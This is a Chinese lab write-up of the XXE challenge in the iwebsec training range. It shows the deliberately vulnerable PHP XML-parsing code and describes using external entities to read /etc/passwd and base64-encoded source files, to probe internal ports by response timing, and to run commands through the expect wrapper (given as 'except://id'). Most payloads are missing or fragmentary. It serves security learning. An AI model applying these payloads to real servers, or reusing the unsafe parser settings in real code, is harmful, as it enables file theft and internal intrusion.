iwebsec靶场xxe关卡通关笔记
XML外部实体注入简称XXE漏洞。XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义,文档元素。
内部声明是直接在XML文件内部声明的,对于安全人员来说基本没用。
外部声明是引用XML以外的文件,有风险。
外部实体注入可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等等。

如下所示,通关docker查看xxe目录下的index.php源码,内容如下
- <?php
- require_once('../header.php');
- ?>
- <html>
- <head>
- <title>XXE漏洞</title>
- </head>
- <h2>XXE漏洞</h2>
- <div class="alert alert-success">
- <p>input xml</p>
- </div>
- <body>
- <?php
- libxml_disable_entity_loader (false);
-
- $xmlfile = file_get_contents('php://input');
- $dom = new DOMDocument();
- if($xmlfile){
- $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
- $creds = simplexml_import_dom($dom);
- $username = $creds->username;
- $password = $creds->password;
- }
- else{
- exit();
- }
- ?>
- <table class='table table-striped'>
- <?php
- echo 'hello ' . $username;
- echo "";
- ?>
在以上代码中,file_get_contents函数读取php://input传入的参数,但是参数没有经过过滤直接就被loadxml函数中调用并且输出了username值,从而导致XXE漏洞的产生。

由于使用php://input协议传入,故而参数可通过post传递。
基于此利用file://伪协议读取本地文件来加载外部实体(entity),而代码中涉及到变量username和password需要定义在xml参数中,我们在xml中使用element元素声明,如下所示
- username ANY>
- password ANY>
由于username最后输出,故而而我们想获取的实体变量使用entiey来加载
(1)获取敏感信息(密码文件)
如果我们想获取/etc/passwd文件,最后post的参数如下所示

效果如下所示

使用post参数将xml传入后,可以获取到系统的/etc/passwd文件
如果我们想获取当前网站根目录下index.php的源码文件,传入参数如下所示

我们可以获取到index.php在base64编码后的内容,效果如下
使用base64解码进行解码
效果如下所示
- <!DOCTYPE html>
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
- <title>iwebsec 靶场漏洞库</title>
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <meta name="description" content="iwebsec">
-
- <!-- Le styles -->
- <link href="./css/bootstrap.css" rel="stylesheet">
-
- <style type="text/css">
- body {
- padding-top: 60px;
- padding-bottom: 40px;
- }
- </style>
- <link href="./css/bootstrap-responsive.css" rel="stylesheet">
-
- </head>
-
- <body>
-
- <div class="navbar navbar-inverse navbar-fixed-top">
- <div class="navbar-inner">
- <div class="container">
- <a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse">
- <span class="icon-bar"></span>
- <span class="icon-bar"></span>
- <span class="icon-bar"></span>
- </a>
- <a class="brand" href="http://www.iwebsec.com">iwebsec.com</a>
- <div class="nav-collapse collapse">
- <ul class="nav">
- <li class="active"><a href="/">首页</a></li>
- </ul>
- </div><!--/.nav-collapse -->
- </div>
- </div>
- </div>
-
- <div class="container">
-
-
- <div class="hero-unit">
- <h1>iwebsec</h1>
- <p>此网站中集合了SQL注入、文件包含、命令执行、XXE、反序列化、SSRF、XSS、文件上传等常见的web漏洞环境</p>
- <a href="http://iwebsec.com" class="twitter-follow-button" data-show-count="true" data-size="large">Follow @iwebsec</a>
- <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script>
- </div>
-
- <script>
- var _hmt = _hmt || [];
- (function() {
- var hm = document.createElement("script");
- hm.src = "https://hm.baidu.com/hm.js?8d47cbee4e5b4661d33f3edc68a1c7f0";
- var s = document.getElementsByTagName("script")[0];
- s.parentNode.insertBefore(hm, s);
- })();
- </script>
-
-
- <!-- Main hero unit for a primary marketing message or call to action -->
-
-
- <!-- Example row of columns -->
- <div class="row">
-
- <div class="span4">
- <h2>SQL注入漏洞</h2>
- <ul>
- <li><a href="sqli/01.php?id=1">01-数字型注入</a></li>
- <li><a href="sqli/02.php?id=1">02-字符型注入</a></li>
- <li><a href="sqli/03.php?id=1">03-bool注入</a></li>
- <li><a href="sqli/04.php?id=1">04-sleep注入</a></li>
- <li><a href="sqli/05.php?id=1">05-updatexml注入</a></li>
- <li><a href="sqli/06.php?id=1">06-宽字节注入</a></li>
- <li><a href="sqli/07.php?id=1">07-空格过滤绕过</a></li>
- <li><a href="sqli/08.php?id=1">08-大小写过滤绕过</a></li>
- <li><a href="sqli/09.php?id=1">09-双写关键字绕过</a></li>
- <li><a href="sqli/10.php?id=1">10-双重url编码绕过</a></li>
- <li><a href="sqli/11.php?id=1">11-十六进制绕过</a></li>
- <li><a href="sqli/12.php?id=1">12-等价函数替换过滤绕过</a></li>
- <li><a href="sqli/13/index.php?id=1">13-二次注入</a></li>
- </ul>
- </div>
-
- <div class="span4">
- <h2>文件上传漏洞</h2>
- <ul>
- <li><a href="upload/01.php">01-前端JS过滤绕过</a></li>
- <li><a href="upload/02.php">02-文件名过滤绕过</a></li>
- <li><a href="upload/03.php">03-Content-Type过滤绕过</a></li>
- <li><a href="upload/04.php">04-文件头过滤绕过</a></li>
- <li><a href="upload/05.php">05-.htaccess文件上传</a></li>
- <li><a href="upload/06.php">06-文件截断上传</a></li>
- <li><a href="upload/07.php">07-竞争条件文件上传</a></li>
- </ul>
- </div>
-
- <div class="span4">
- <h2>文件包含漏洞</h2>
-
- <ul>
- <li><a href="fi/01.php">01-本地文件包含</a></li>
- <li><a href="fi/02.php">02-本地文件包含绕过</a></li>
- <li><a href="fi/03.php">03-session本地文件包含</a></li>
- <li><a href="fi/04.php">04-远程文件包含</a></li>
- <li><a href="fi/05.php">05-远程文件包含绕过</a></li>
- <li><a href="fi/06.php">06-php://filter伪协议</a></li>
- <li><a href="fi/07.php">07-php://input伪协议</a></li>
- <li><a href="fi/08.php">08-php://input伪协议利用</a></li>
- <li><a href="fi/09.php">09-file://伪协议利用</a></li>
- <li><a href="fi/10.php">10-data://伪协议利用</a></li>
- </ul>
-
- </div>
-
-
-
- </div>
-
-
- <div class="row">
-
- <div class="span4">
- <h2>命令执行漏洞</h2>
- <ul>
- <li><a href="exec/01.php">01-命令执行漏洞</a></li>
- <li><a href="exec/02.php">02-命令执行漏洞空格绕过</a></li>
- <li><a href="exec/03.php">03-命令执行漏洞关键命令绕过</a></li>
- <li><a href="exec/04.php">04-命令执行漏洞通配符绕过</a></li>
- <li><a href="exec/05.php">05-命令执行漏洞base64编码绕过</a></li>
- </ul>
- </div>
-
- <div class="span4">
- <h2>代码执行漏洞</h2>
- <ul>
- <li><a href="execcode/01.php">01-eval函数示例</a></li>
- <li><a href="execcode/02.php">02-assert函数示例</a></li>
- <li><a href="execcode/03.php">03-call_user_func函数示例</a></li>
- <li><a href="execcode/04.php">04-call_user_func_array函数示例</a></li>
- <li><a href="execcode/05.php">05-create_function函数示例</a></li>
- <li><a href="execcode/06.php">06-array_map函数示例</a></li>
- <li><a href="execcode/07.php">07-preg_replace无漏洞函数示例</a></li>
- <li><a href="execcode/08.php">08-preg_replace漏洞函数示例</a></li>
- <li><a href="execcode/09.php">09-可变函数漏洞示例01</a></li>
- <li><a href="execcode/10.php">10-可变函数漏洞示例02</a></li>
- </ul>
- </div>
-
- <div class="span4">
- <h2>XSS 漏洞</h2>
- <ul>
- <li><a href="xss/01.php">01-反射型XSS漏洞</a></li>
- <li><a href="xss/02.php">02-存储型XSS漏洞</a></li>
- <li><a href="xss/03.php">03-DOM XSS漏洞</a></li>
- <li><a href="xss/04.php">04-XSS修复示例</a></li>
- </ul>
- </div>
- </div>
-
- <div class="row">
-
- <div class="span4">
- <h2>SSRF漏洞</h2>
-
- <ul>
- <li><a href="ssrf/index.php">01-SSRF漏洞文件读取</a></li>
- <li><a href="ssrf/index.php">02-SSRF漏洞内网探测</a></li>
- <li><a href="ssrf/index.php">03-SSRF漏洞内网应用攻击</a></li>
- </ul>
-
- </div>
-
- <div class="span4">
- <h2>XXE漏洞</h2>
- <ul>
- <li><a href="xxe/index.php">01-XXE漏洞文件读取</a></li>
- <li><a href="xxe/index.php">02-XXE漏洞内网探测</a></li>
- <li><a href="xxe/index.php">03-XXE漏洞内网应用攻击</a></li>
-
- </ul>
- </div>
-
- <div class="span4">
- <h2>反序列化漏洞</h2>
- <ul>
- <li><a href="unserialize/01/index.php">01-反序列化漏洞示例01</a></li>
- <li><a href="unserialize/02/index.php">02-反序列化漏洞示例02</a></li>
- </ul>
- </div>
- </div>
- <div class="row">
-
- <div class="span4">
- <h2>中间件漏洞</h2>
-
- <ul>
- <li><a href="middleware/01.php">01-Weblogic中间件漏洞</a></li>
- <li><a href="middleware/02.php">02-Tomcat中间件漏洞</a></li>
- <li><a href="middleware/03.php">03-Jboss中间件漏洞</a></li>
- </ul>
-
- </div>
-
- <div class="span4">
- <h2>解析漏洞</h2>
- <ul>
- <li><a href="parse/01.php">01-Apache解析漏洞</a></li>
- <li><a href="parse/02.php">02-Nginx解析漏洞</a></li>
- </ul>
- </div>
-
- <div class="span4">
- <h2>数据库漏洞</h2>
- <ul>
- <li><a href="database/01.php">01-MySQL数据库漏洞</a></li>
- <li><a href="database/02.php">02-Redis数据库漏洞</a></li>
- </ul>
- </div>
- </div>
- <!DOCTYPE html>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
- <footer>
- <b>Copyright(C)2017-2019 <a href="http://www.iwebsec.com" class="hui12" target="_blank">iwebsec 网络安全知识库</a> All Rights Reserved</b>
- </footer>
-
- </html>
(3)获取当前xxe目录源码文件
post参数为

访问后如下所示

然后通过base64解码即可查看到源文件。
利用XXE漏洞进行内网探测,如果端口开启那么请求会很快返回,如果端口关闭那么请求会非常慢。
payload如下所示

如下所示

我们登录到容器中,通过netstat -ano|grep 22也确认确实打开了22端口

接下来使用一个不存在服务的端口号23来尝试,如下所示通过 netstat -ano|grep 23可以确认这个端口处于关闭状态

payload如下所示

效果如下所示,提示拒绝连接

内网应用攻击,这里可以用PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,就可以执行如下的命令:
- creds [
- username ANY>
- password ANY>
- xxe SYSTEM "except://id">
- ]>
- <creds>
- <username>&xxe;username>
- <password>testpassword>
- creds>
利用xxe漏洞可以调用except://伪协议调用系统命令,不过这种需要PHP环境支持except扩展模块被加载,这样就可以利用它执行系统命令了。然而这种情况现在已经比较少见了,更多还是要利用其他漏洞来实现命令或代码执行。
由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE

如上所示当前iwebsec服务器的except扩展模块这个可执行漏洞并不存在,故而无法通过此XXE漏洞执行命令。
这里要强调一下,XXE EXCEPT可执行漏洞这种情况很少发生,但极少数情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。需要黑客足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么才可以执行命令。虽然iwebsec靶场提供了xxe漏洞,但是他的环境中并不是一个幸运的环境,故无法使用xxe except漏洞进行渗透。